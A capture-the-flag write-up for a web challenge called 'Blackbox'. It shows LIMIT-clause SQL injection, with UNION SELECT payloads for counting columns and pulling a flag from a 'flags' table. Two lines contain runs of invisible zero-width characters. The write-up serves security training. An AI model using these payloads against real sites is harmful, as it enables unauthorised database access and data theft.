Blackbox

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: limit_clause_injection, union_based_sqli

Summary

Walkthrough of the CUSTOM Web Blackbox. Task: SQL injection in blackbox scenario with hidden injection point. Solution: LIMIT clause injection with UNION SELECT to extract the flag.

Description

SQL injection task in the "advanced" category. A blackbox challenge where the injection point is hidden in the LIMIT clause parameter. The application uses a numeric parameter to control pagination/row limits.

URL: http://kslweb1.spb.ctf.su/sqli/blackbox/

Analysis

The challenge name "Blackbox" hints that the injection point is not immediately obvious. After analysis, the vulnerable parameter controls the LIMIT clause in the SQL query.

Key observations:

• Application has pagination or row limit functionality
• A numeric parameter controls how many rows are returned
• The LIMIT clause is vulnerable to injection
• UNION SELECT can be appended after the LIMIT value ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Identify the LIMIT clause injection

The query structure is likely:

 sql read-only • copy allowed Copy
SELECT * FROM table LIMIT <user_input>

Step 2: Inject UNION SELECT after LIMIT

In MySQL, you can append UNION SELECT after LIMIT:

 sql read-only • copy allowed Copy
10 UNION SELECT 1,2,3,flag FROM flags--

Or with proper column enumeration:

 sql read-only • copy allowed Copy
10 UNION SELECT NULL,NULL,NULL,flag FROM flags--

Step 3: Enumerate and extract

First find the number of columns, then extract the flag:

 sql read-only • copy allowed Copy
10 UNION SELECT 1--
10 UNION SELECT 1,2--
10 UNION SELECT 1,2,3--
...
10 UNION SELECT 1,2,3,flag FROM flags--

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering limit_clause_injection, union_based_sqli was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Blackbox • Difficulty: Medium